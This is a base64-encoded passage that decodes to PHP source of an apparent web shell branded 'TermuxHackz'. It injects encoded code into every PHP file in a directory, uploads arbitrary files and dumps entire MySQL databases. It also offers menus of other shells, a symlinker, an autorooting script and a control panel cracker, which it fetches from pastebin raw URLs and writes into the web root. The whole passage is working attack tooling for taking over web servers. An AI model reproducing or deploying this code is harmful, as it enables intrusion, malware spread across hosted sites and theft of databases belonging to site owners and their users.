ICRkaXJlY3RvcnkgPSAkcGF0aDsNCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChlbXB0eSgkY29kZSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxmb250IHNpemU9XCc1MCVcJyBmYWNlPVwnY3Vyc2l2ZVwnIGNvbG9yPVwncmVkXCc+WW91IG5lZWQgdG8gaW5wdXQgc29tZXRoaW5nICEhISA6UDwvZm9udD4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICghZW1wdHkoJGNvZGUpKSB7DQoNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgaWYgKCRoYW5kbGUgPSBvcGVuZGlyKCRkaXJlY3RvcnkpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxzcGFuIHN0eWxlPSJjb2xvcjogcmVkOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAxMTAlOyI+Jy4nV2Vic2l0ZTogJy4kd2Vic2l0ZV90ZXN0aW5nLic8YnI+PGJyPjwvc3Bhbj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBlY2hvICc8c3BhbiBzdHlsZT0iY29sb3I6IHRlYWw7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDExMCU7Ij5Mb29raW5nIGluICcuJGRpcmVjdG9yeS4nPGJyPjwvc3Bhbj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB3aGlsZSAoJGZpbGVzID0gcmVhZGRpcigkaGFuZGxlKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZXMgIT0gJy4nICYmICRmaWxlcyAhPSAnLi4nICYmICRmaWxlcyAhPSAncmV2LnBocCcgJiYgJGZpbGVzICE9ICdSRVYucGhwJyAmJiAkZmlsZXMgIT0gJy5odGFjY2VzcycgJiYgJGZpbGVzICE9ICdwaHAuaW5pJyAmJiAkZmlsZXMgIT0gJ2FkbWluJyAmJiAkZmlsZXMgIT0gJ2ltYWdlcycgJiYgJGZpbGVzICE9ICdpbWFnZScgJiYgJGZpbGVzICE9ICdpbWcnICYmICRmaWxlcyAhPSAncGhwbXlhZG1pbicgJiYgJGZpbGVzICE9ICdmaWxlcycgJiYgJGZpbGVzICE9ICcuZnRwcXVvdGEnICYmICRmaWxlcyAhPSAnLmVycm9yX2xvZycgJiYgc3RydG9sb3dlcihzdWJzdHIoJGZpbGVzLCBzdHJycG9zKCRmaWxlcywgJy4nKSArIDEpKSA9PSAncGhwJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGVjaG8gJzxhIHN0eWxlPSJjb2xvcjogcmVkOyBmb250LWZhbWlseTogY3Vyc2l2ZTsiIHRhcmdldD0iX2JsYW5rIiBocmVmPSInLiRmaWxlcy4nIj4nLiRmaWxlcy4nPC9hPjxmb250IHNpemU9IiIgY29sb3I9Imxhd25ncmVlbiIgZmFjZT0iY3Vyc2l2ZSI+Jm5ic3A7Jm5ic3A7Jm5ic3AmbmJzcDtJcyBJbmplY3RlZDwvZm9udD48YnIgLz4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRmaWxlX2RhdGEgPSBiYXNlNjRfZGVjb2RlKCRjb2RlMSk7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVfZGF0YSAuPSBmaWxlX2dldF9jb250ZW50cygkZmlsZXMpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGZpbGVfcHV0X2NvbnRlbnRzKCRmaWxlcywgJGZpbGVfZGF0YSk7IGVjaG8gJzxicj4nOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgID8+DQogICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsndXBsb2FkZXInXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGJyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9udCBzdHlsZT0iY29sb3I6IGxhd25ncmVlbjsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMjUwJTsiPlRlcm11eEhhY2t6IFVwbG9hZGVyPC9mb250Pjxicj48YnI+PGJyPjxicj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBlbmN0eXBlPSJtdWx0aXBhcnQvZm9ybS1kYXRhIiBhY3Rpb249IiI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHN0eWxlPSJmb250LXNpemU6IDkwJTsiIHR5cGU9ImZpbGUiIG5hbWU9ImZpbGVzIj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgc3R5bGU9ImZvbnQtc2l6ZTogOTAlOyIgdHlwZT1zdWJtaXQgdmFsdWU9IlVwbG9hZCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZpbGVzID0gQCRfRklMRVNbImZpbGVzIl07DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmICgkZmlsZXNbIm5hbWUiXSAhPSAnJykgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgJGZ1bGxwYXRoID0gJF9SRVFVRVNUWyJwYXRoIl0gLiAkZmlsZXNbIm5hbWUiXTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJGZpbGVzWyd0bXBfbmFtZSddLCAkZnVsbHBhdGgpKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgZWNobyAiPGNlbnRlcj48YnI+PGJyPjxmb250IHN0eWxlPSdjb2xvcjogcmVkOyBmb250LWZhbWlseTogY3Vyc2l2ZTsgZm9udC1zaXplOiAyMDAlOyc+PGEgaHJlZj0nJGZ1bGxwYXRoJyB0YXJnZXQ9J19ibGFuayc+Q2xpY2sgdG8gYWNjZXNzIHVwbG9hZGVkIEZpbGU8L2E+PC9mb250PjwvY2VudGVyPiI7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICBpZihpc3NldCgkX0dFVFsnZHVtcF9kYiddKSkgew0KICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48Zm9udCBzdHlsZT0iY29sb3I6IHllbGxvdzsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMjAwJTsiPkR1bXAgU1FMIERhdGFiYXNlPC9mb250PjxkaXYgY2xhc3M9ImNvbnRlbnQiPjxicj4NCiAgICAgICAgICAgICAgICAgICAgPGZvcm0gbWV0aG9kPSJQT1NUIiBhY3Rpb249IiIvPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgbmFtZT0idXNlciIgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9IkVudGVyIGRiIHVzZXIuLi4iLz4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9InBhc3MiIHR5cGU9InBhc3N3b3JkIiBwbGFjZWhvbGRlcj0iRW50ZXIgZGIgcGFzcy4uLiIvPjxicj48YnI+DQogICAgICAgICAgICAgICAgICAgIDxpbnB1dCBuYW1lPSJob3N0IiB0eXBlPSJ0ZXh0IiBwbGFjZWhvbGRlcj0iRW50ZXIgZGIgaG9zdC4uIj4NCiAgICAgICAgICAgICAgICAgICAgPGlucHV0IG5hbWU9ImRibmFtZSIgdHlwZT0idGV4dCIgcGxhY2Vob2xkZXI9IkVudGVyIERCIE5hbWUuLi4iPjxicj4NCiAgICAgICAgICAgICAgICAgICAgPGJyPg0KICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBuYW1lPSJzdWJtaXRfZGIiIHZhbHVlPSJEdW1wIHRoaXMgc2hpdCBkYiA6KSAiIC8+DQogICAgICAgICAgICAgICAgICAgIDwvZm9ybT4NCiAgICAgICAgICAgICAgICAgICAgPC9kaXY+DQogICAgICAgICAgICAgICAgICA8L2NlbnRlcj4NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICB9DQogICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgaWYoaXNzZXQoJF9QT1NUWydzdWJtaXRfZGInXSkpIHsNCiAgICAgICAgICAgICAgICAgIAkkREJfSE9TVCA9ICRfUE9TVFsnaG9zdCddOw0KICAgICAgICAgICAgICAgICAgCSREQl9VU0VSID0gJF9QT1NUWyd1c2VyJ107DQogICAgICAgICAgICAgICAgICAJJERCX1BBU1MgPSAkX1BPU1RbJ3Bhc3MnXTsNCiAgICAgICAgICAgICAgICAgIAkkREJfTkFNRSA9ICRfUE9TVFsnZGJuYW1lJ107DQoNCiAgICAgICAgICAgICAgICAgIAkkY29uID0gbmV3IG15c3FsaSgkREJfSE9TVCwgJERCX1VTRVIsICREQl9QQVNTLCAkREJfTkFNRSk7DQoNCg0KICAgICAgICAgICAgICAgICAgCSAkdGFibGVzID0gYXJyYXkoKTsNCg0KICAgICAgICAgICAgICAgICAgCSRyZXN1bHQgPSBteXNxbGlfcXVlcnkoJGNvbiwiU0hPVyBUQUJMRVMiKTsNCiAgICAgICAgICAgICAgICAgIAl3aGlsZSAoJHJvdyA9IG15c3FsaV9mZXRjaF9yb3coJHJlc3VsdCkpIHsNCiAgICAgICAgICAgICAgICAgIAkgICAgJHRhYmxlc1tdID0gJHJvd1swXTsNCiAgICAgICAgICAgICAgICAgIAl9DQoNCiAgICAgICAgICAgICAgICAgIAkkcmV0dXJuID0gJyc7DQoNCiAgICAgICAgICAgICAgICAgIAlmb3JlYWNoICgkdGFibGVzIGFzICR0YWJsZSkgew0KICAgICAgICAgICAgICAgICAgCSAgICAkcmVzdWx0ID0gbXlzcWxpX3F1ZXJ5KCRjb24sICJTRUxFQ1QgKiBGUk9NICIuJHRhYmxlKTsNCiAgICAgICAgICAgICAgICAgIAkgICAgJG51bV9maWVsZHMgPSBteXNxbGlfbnVtX2ZpZWxkcygkcmVzdWx0KTsNCg0KICAgICAgICAgICAgICAgICAgCSAgICAkcmV0dXJuIC49ICdEUk9QIFRBQkxFICcuJHRhYmxlLic7JzsNCiAgICAgICAgICAgICAgICAgIAkgICAgJHJvdzIgPSBteXNxbGlfZmV0Y2hfcm93KG15c3FsaV9xdWVyeSgkY29uLCAnU0hPVyBDUkVBVEUgVEFCTEUgJy4kdGFibGUpKTsNCiAgICAgICAgICAgICAgICAgIAkgICAgJHJldHVybiAuPSAiXG5cbiIuJHJvdzJbMV0uIjtcblxuIjsNCg0KICAgICAgICAgICAgICAgICAgCSAgICBmb3IgKCRpPTA7ICRpIDwgJG51bV9maWVsZHM7ICRpKyspIHsNCiAgICAgICAgICAgICAgICAgIAkgICAgICAgIHdoaWxlICgkcm93ID0gbXlzcWxpX2ZldGNoX3JvdygkcmVzdWx0KSkgew0KICAgICAgICAgICAgICAgICAgCSAgICAgICAgICAgICRyZXR1cm4gLj0gJ0lOU0VSVCBJTlRPICcuJHRhYmxlLicgVkFMVUVTKCc7DQogICAgICAgICAgICAgICAgICAJICAgICAgICAgICAgZm9yICgkaj0wOyAkaiA8ICRudW1fZmllbGRzOyAkaisrKSB7DQogICAgICAgICAgICAgICAgICAJICAgICAgICAgICAgICAgICRyb3dbJGpdID0gYWRkc2xhc2hlcygkcm93WyRqXSk7DQogICAgICAgICAgICAgICAgICAJICAgICAgICAgICAgICAgIGlmIChpc3NldCgkcm93WyRqXSkpIHsNCiAgICAgICAgICAgICAgICAgIAkgICAgICAgICAgICAgICAgICAgICRyZXR1cm4gLj0gJyInLiRyb3dbJGpdLiciJzt9IGVsc2UgeyAkcmV0dXJuIC49ICciIic7fQ0KICAgICAgICAgICAgICAgICAgCSAgICAgICAgICAgICAgICAgICAgaWYoJGo8JG51bV9maWVsZHMtMSl7ICRyZXR1cm4gLj0gJywnOyB9DQogICAgICAgICAgICAgICAgICAJICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAgIAkgICAgICAgICAgICAgICAgJHJldHVybiAuPSAiKTtcbiI7DQogICAgICAgICAgICAgICAgICAJICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgCSAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgCSAgICAgICAgJHJldHVybiAuPSAiXG5cblxuIjsNCg0KICAgICAgICAgICAgICAgICAgCX0NCg0KDQogICAgICAgICAgICAgICAgICAJJGhhbmRsZSA9IGZvcGVuKCdkdW1wZWRfZGIuc3FsJywgJ3crJyk7DQogICAgICAgICAgICAgICAgICAJZndyaXRlKCRoYW5kbGUsICRyZXR1cm4pOw0KICAgICAgICAgICAgICAgICAgCWZjbG9zZSgkaGFuZGxlKTsNCiAgICAgICAgICAgICAgICAgIGVjaG8gIjxicj4iOw0KICAgICAgICAgICAgICAgICAgCWVjaG8gKCI8cD5TdWNjZXNzZnVsbHkgZHVtcGVkIGRhdGFiYXNlPC9wPiIpOw0KICAgICAgICAgICAgICAgICAgZWNobyAiPGJyPiI7DQogICAgICAgICAgICAgICAgICBlY2hvICIiOw0KICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICA8P3BocA0KICAgICAgICAgICAgICAgICAgICAgICAgaWYgKGlzc2V0KCRfR0VUWydzaGVsbHMnXSkpIHsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPz4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGNlbnRlcj48YnI+PGZvbnQgc3R5bGU9ImNvbG9yOiByZWQ7IGZvbnQtc2l6ZTogMjAwJTsgZm9udC1mYW1pbHk6IGN1cnNpdmU7Ij5TaGVsbHMgQnkgdGVybXV4aGFja3ogc29jaWV0eTwvZm9udD48L2NlbnRlcj48ZGl2IGNsYXNzPSJjb250ZW50Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGJvcmRlcj0iMSUiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIxMCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Zm9udCBzdHlsZT0iY29sb3I6IHRlYWw7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEyMCU7Ij5DbGljayBBbmQgR2V0IFRoZSBTaGVsbHM8L2ZvbnQ+PC90ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0idGhzX3NoM2xsIiB2YWx1ZSA9InRoc19zaDNsbCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPC90ZD48L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj48dGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJhbm9uZ2hvc3RzIiB2YWx1ZSA9IkFub25HaG9zdHMgU2hlbGwiPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iYmxhY2toYXQiIHZhbHVlID0iQmxhY2tIYXQgU2hlbGwiPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iaW1hZ2VzaGVsbCIgdmFsdWUgPSJBbjBuIDN4UGxvaVRlUiBJbWFnZSBTaGVsbCI+PC90ZD48L3RyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0cj48dGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGZvcm0gYWN0aW9uPSIiIG1ldGhvZD0icG9zdCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPGlucHV0IHR5cGUgPSAic3VibWl0IiBuYW1lPSJtYWRzcG90IiB2YWx1ZSA9Ik1hZHNwb3QgU2hlbGwiPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0icGNkIiB2YWx1ZSA9IlBhayBDeWJlciBEZWZlbmRlcnMgU2hlbGwiPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iY2hldGEiIHZhbHVlID0iS2FzaGltaXJpIENoZWV0YWggU2hlbGwiPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0iMTMzN3dvcm0iIHZhbHVlID0iMTMzNyBXb3JtIFNoZWxsIj48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9ImIzNzRrIiB2YWx1ZSA9ImIzNzRrIFNoZWxsIj48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9Impva2VyIiB2YWx1ZSA9Ikpva2VyIFNoZWxsIj48L3RkPjwvdHI+PC9kaXY+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDw/cGhwDQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICA/Pg0KDQogICAgICAgICAgICAgICAgPD9waHANCiAgICAgICAgICAgICAgICAgICAgICAgIGlmIChpc3NldCgkX0dFVFsnc2NyaXB0cyddKSkgew0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA/Pg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Y2VudGVyPjxicj48Zm9udCBzdHlsZT0iY29sb3I6IHJlZDsgZm9udC1mYW1pbHk6IGN1cnNpdmU7IGZvbnQtc2l6ZTogMjAwJTsiPlNjcmlwdHMgQnkgdGVybXV4aGFja3ogc29jaWV0eTwvZm9udD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8L2NlbnRlcj48ZGl2IGNsYXNzPSJjb250ZW50Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8YnI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRhYmxlIGJvcmRlcj0iMSUiIGFsaWduPSJjZW50ZXIiIGNlbGxwYWRkaW5nPSIxMCI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDx0ZD48Zm9udCBzdHlsZT0iY29sb3I6IHRlYWw7IGZvbnQtZmFtaWx5OiBjdXJzaXZlOyBmb250LXNpemU6IDEyMCU7Ij5DbGljayBBbmQgR2V0IFRoZSBTY3JpcHRzPC9mb250PjwvdGQ+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9InN5bWxpbmsiIHZhbHVlID0iU3ltbGlua2VyIj48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9ImFub25jbWQiIHZhbHVlID0iQW5vbkdob3N0cyBDb25zb2xlIj48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9Im1hZGxlZXRzIiB2YWx1ZSA9Ik1hZGxlZXRzIENvbnNvbGUiPjwvdGQ+PC90cj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8dHI+PHRkPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxmb3JtIGFjdGlvbj0iIiBtZXRob2Q9InBvc3QiPg0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgIDxpbnB1dCB0eXBlID0gInN1Ym1pdCIgbmFtZT0icm9vdGVyIiB2YWx1ZSA9IkF1dG9yb290aW5nIFBlcmwgU2NyaXB0Ij48L3RkPjwvdHI+DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPHRyPjx0ZD4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8Zm9ybSBhY3Rpb249IiIgbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICA8aW5wdXQgdHlwZSA9ICJzdWJtaXQiIG5hbWU9ImNwYyIgdmFsdWUgPSJDb250cm9sIFBhbmVsIENyYWNrZXIiPjwvdGQ+PC90cj48L2Rpdj4NCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgPD9waHANCg0KICAgICAgICAgICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgICAgID8+DQoNCiAgICAgICAgICAgICAgICA8P3BocA0KDQogICAgICAgICAgICAgICAgICAgICAgICBmdW5jdGlvbiBkb3dubG9hZCgkZmlsZV91cmwsICRzYXZlX3RvKSB7DQogICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICRjb250ZW50ID0gZmlsZV9nZXRfY29udGVudHMoJGZpbGVfdXJsKTsNCiAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICBmaWxlX3B1dF9jb250ZW50cygkc2F2ZV90bywgJGNvbnRlbnQpOw0KICAgICAgICAgICAgICAgICAgICAgICAgICAgICAgICB9DQoNCiAgICAgICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydkaGFudXNoJ10pKSB7DQogICAgICAgIGRvd25sb2FkKCdodHRwOi8vcGFzdGViaW4uY29tL3Jhdy9GSHM2dUdraScsIHJlYWxwYXRoKCIuLyIpIC4gJy9kaGFudXNoLnBocCcpOw0KICAgICAgICBoZWFkZXIoImxvY2F0aW9uOmRoYW51c2gucGhwIik7ICAgICAgICAgfQ0KDQogICAgICAgIGlmIChpc3NldCgkX1BPU1RbJ3N5bWxpbmsnXSkpIHsNCiAgICAgICAgICAgICAgICBkb3dubG9hZCgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvaFlHVmY0cVQnLCByZWFscGF0aCgiLi8iKSAuICcvc3ltbGluay5waHAnKTsNCiAgICAgICAgaGVhZGVyKCJsb2NhdGlvbjpzeW1saW5rLnBocCIpOyAgICAgICAgIH0NCg0KICAgIGlmIChpc3NldCgkX1BPU1RbJ21hZGxlZXRzJ10pKSB7DQogICAgICAgICAgICAgICAgZG93bmxvYWQoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L005bXg1ajRoJywgcmVhbHBhdGgoIi4vIikgLiAnL21hZGxlZXRzLnBocCcpOw0KICAgICAgICBoZWFkZXIoImxvY2F0aW9uOm1hZGxlZXRzLnBocCIpOyAgICAgICAgICAgICAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWydyb290ZXInXSkpIHsNCiAgICAgICAgICAgICAgICBkb3dubG9hZCgnaHR0cDovL3Bhc3RlYmluLmNvbS9yYXcvc0p4aVJaQUgnLCByZWFscGF0aCgiLi8iKSAuICcvcm9vdGVyLnBocCcpOw0KICAgICAgICBoZWFkZXIoImxvY2F0aW9uOnJvb3Rlci5waHAiKTsgICAgICAgICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfUE9TVFsnY3BjJ10pKSB7DQogICAgICAgICAgICAgICAgZG93bmxvYWQoJ2h0dHA6Ly9wYXN0ZWJpbi5jb20vcmF3L2Q3M0hoWEJrJywgcmVhbHBhdGgoIi4vIikgLiAnL2NwYy5w